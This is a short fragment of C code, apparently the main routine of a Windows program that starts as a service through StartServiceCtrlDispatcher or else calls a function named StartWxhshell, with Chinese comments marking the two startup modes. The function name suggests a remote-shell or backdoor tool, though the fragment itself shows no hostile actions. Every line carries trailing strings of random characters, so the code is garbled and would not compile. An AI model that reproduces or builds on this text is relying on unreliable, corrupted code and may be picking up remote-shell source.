else ?+L7Bd(EF%
if(StartFromService()) [jTZxH<
// 以服务方式启动 )Mh5q&ow
StartServiceCtrlDispatcher(DispatchTable); {"_V,HmEF+
else ]:Pkh./
// 普通方式启动 7TA&u'
StartWxhshell(lpCmdLine); [pSQ8zdF"
CIQ9dx7>
return 0; G5UNW<P2C
}